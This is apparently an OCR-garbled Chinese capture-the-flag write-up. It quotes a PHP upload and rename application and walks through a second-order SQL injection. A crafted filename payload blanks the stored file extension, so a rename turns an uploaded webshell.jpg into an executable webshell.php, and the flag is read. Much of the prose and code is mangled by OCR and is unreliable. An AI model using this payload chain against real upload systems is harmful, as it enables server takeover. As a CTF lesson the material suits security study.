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<?php

require_once "common.inc.php";
define('ROOT',dirname(__FILE_)."'/");

if($_FILES)
{
$file = $_FILES["upfile"];
if($file["error"] == UPLOAD_ERR_OK) {
$name = basename($file["name"]);
$path_parts = pathinfo($name);

if(!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
exit("error extension");

¥
$path_parts["extension"] = "." . $path_parts["extension"];
// $path_parts["extension"] = ".jpg"

$name = $path_parts[“"filename"] . $path_parts["extension"];

$path_parts['filename'] = addslashes($path_parts['filename']);
//$path_parts['filename'] = "',extension="", filename="webshell.jpg"

$sql = "select * from “file' where “filename ='{$path_parts['filename']}' and " extension ='{$path_parts|
‘extension']}'";

$fetch = $db->query($sql);

if($fetch->num_rows>0) {

exit("file is exists");

if(move_uploaded_file($file["tmp_name"], ROOT . UPLOAD_DIR . $name)) {

$sql = "insert into “file® ( ~filename™, “view , “extension’) values( '{$path_parts['filename']}', ©
, '{$path_parts[‘extension’']}"')";

$re = $db->query($sql);

if(!$re) {
echo 'error';
print_r($db->error);
exit;

¥

$url = "/" . UPLOAD _DIR . $name;

echo "Your file is upload, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";

} else {
exit("upload error");

} else {
print_r(error_get_last());
exit;

3. B EE I AErename php B, RIEHINTF:



<?php

require_once "common.inc.php";
define('ROOT',dirname(__FILE_)."'/");

if(isset($req['oldname']) && isset($req[ 'newname'])) {
$result = $db->query("select * from “file  where “filename ='{$req[ ' 'oldname']}"'");
// BI%filename @£ # X G A ZIEEN], X B IEFHITsqliZa]
if ($result->num_rows>0) {
$result = $result->fetch_assoc();
telse{
exit("old file doesn't exists!");

if($result) {
$req[ '‘newname’'] = basename($req[ ‘newname']);

$re = $db->query("update "file’ set “filename'='{$req['newname’]}"', “oldname’='{$result[’'filename’]}"' wh
ere " fid ={$result['fid']}");

if(!$re) {
print_r($db->errorInfo());
exit;

¥

$oldname = ROOT.UPLOAD DIR . $result["filename"].$result["extension"];
$newname = ROOT.UPLOAD DIR . $req["newname"].$result["extension"];
if(file_exists($oldname)) {
rename($oldname, $newname);
$url = "/" . $newname;
echo "Your file is rename, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
¥

else{echo $oldname." not exists.";}

?>

FH—A select IBAJERIRIE $req['filename'] NEHEE B E RN SHEEN—1T, BHSE -/ update iBAHATHEBY, XEB
H] ‘oldname'='{$result['filename']}' ¥MNEIEEBEH K $result[ filename'] H—IRANE, FEILFEZIKIEN.

4, MERI oldname Ml newname , B JL MG A

o JEZEMIE, #F/Z $result[ ‘extension’]
o oldname FIXXMFAREBIERE, newname IS4 K E PN

BARARIBER oldname Fl newname ERJGLEAHE, 7 LB T update®! i A\ K extension BAZ, FE B filename FI1H .
[ Ay i 13 & payload’d: ', extension="",filename="webshell.jpg.Jpg

5. EEXH4ZN: ',extension="",filename="webshell.jpg.jpg KX )5, I upload.phpHi:

$path_parts["extension"] = ".jpg"

$path_parts['filename'] = "',extension="",filename="webshell.jpg"
BABEES, VR SEE .

filenameZ BB NLitaddslashes () X', extension="",filename="webshell. jpg
extensionFBHIMEAN. jpg



&« C | ® A=z£ | 202.119.201.199:32769/upload.php

i A EEES EEFS BE CTF FEE XSS Python =B e XigpE SQLEA

Your file is upload, url: //upload/',extension="filename="webshell.jpg.jpg
go back

6. Tk7 & EIEHupdataiE: A\ it 2

N Flrename.php T TH, AT FEEME, B XHFLBBONE ', extension="",filename="webshell.jpg 1EH
A webshell.jpg (iXHrenameWHHIA K XA AR BERAEFRN, EHIEE R XHLRER R DN FBEITHERD

old filename(exclude extension):

‘extension="filename="webshell jpg

new filename(exclude extension):

webshelljpg

s://blog.csdn.net/qg_

ERBAESAHE:

$req[ 'oldname'] = "',extension="",filename="'webshell.jpg"
$req[ 'newname'] = "webshell.jpg"

BETRMAT: select * from 'file' where 'filename'='{$req[ 'oldname’']}"
KN filename 7E_ L& G4 1T addslashes() ¥ XK, FrLLM4EA) IEH AT

EREWT TXIER, HEE:

update 'file' set 'filename'='{$req['newname']}', 'oldname'='{$result['filename’']}' where 'fid'={$result['fid']}

HILTEN, R ) SO 42 98 N IX K8 A48 B L BR AT BIsqiE A):



update 'file' set 'filename'='webshell.jpg', 'oldname'="',extension='",filename="'webshell.jpg' where 'fid'={$re
sult['fid']}

AR BLE R updataif /), BT T BE T BUE, M SO B & B

filename = webshell.jpg
oldname = %
extension = %

XHBHMRERET

o BEARBIEE TN filename BITEAMNET, BEELZRZHFEN XL NELHEETE,
{HRETETEKEN, XKL extension A%, FkREEEW® A rename() %, MEELH AN filename B )G
UM ER

o 4T rename() BRELAE —AFIWT: if(file_exists($oldname)) , {HSZPR EFATR S H F %A webshell.jpg X344,
XFELFEEH B — webshell.jpg X1

7. HEETRMT U LA EIEGQES —AEARD R CH: webshell.jpg, LAf&)G:

$path_parts["extension"] = ".jpg"
$path_parts['filename'] = "webshell"
HAEFHEEFEA T HE—KiLR:
filenameFEHI{E ML itaddslashes ()% X webshell
extensionZFEHIMEN. jpg

HARAGEHF T HERELM: webshell. jpg
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Your file is upload, url: //upload/webshell.jpg
go back

BT R A\ rename.php REFAT G, XEEBEREK—P:

old filename(exclude extension):

webshelljpg

new filename(exclude extension):

webshell.php

rename

# webshell.jpg BN webshell.php , XFFEEAE)G:

og.csdn.net/qg_421

FNENG, BHEEFRIFELE filename N webshell. jpg HIicSt, KA LT X 4&iE4A):

select * from 'file' where 'filename'='{$req['oldname']}’

SR 5 AT updataiE &) :

update 'file' set 'filename'='{$req['newname']}', 'oldname'='{$result['filename’']}' where 'fid'={$result['fid']}
# filename HIME M webshell.jpg BN webshell.php , oldname IEENIRER Filename KIME, HAWREE, BiFEHEE X %KD
REFBRAER:

filename = webshell.php
oldname = webshell.jpg
extension = %



TR, FHAERextensionhZ, Prllilid X i kiE A RIE)E:

$oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"];
$newname = ROOT.UPLOAD DIR . $req["newname"].$result["extension"];
bR 53

$oldname = webshell.php

$newname = webshell.jpg

BJ5, TEBEAT if(file_exists($oldname)) HIWTHF, F AN ik B S HFHISUH R webshell.jpg , B EAR] LU IS A7
IXFEHL T ABAT rename($oldname, $newname) , ¥ HF FHIBEEARD KM webshell. jpg B4 N webshell.php , HHLELTH E
& T phpRGEIES.

8. BEARELE AT LAE Twebshell, HABEBAIIEER:, Blnlgetshell, 3KfEflag.

E I =r 1202, 119. 201, 199 202.119.201.199 X 202.119.201. 199 202.119. 201, 199 o

A Fflag_ 404/flag L 815
flag{£34£{Baaficd362662dd1 aeb 976 7b20£}
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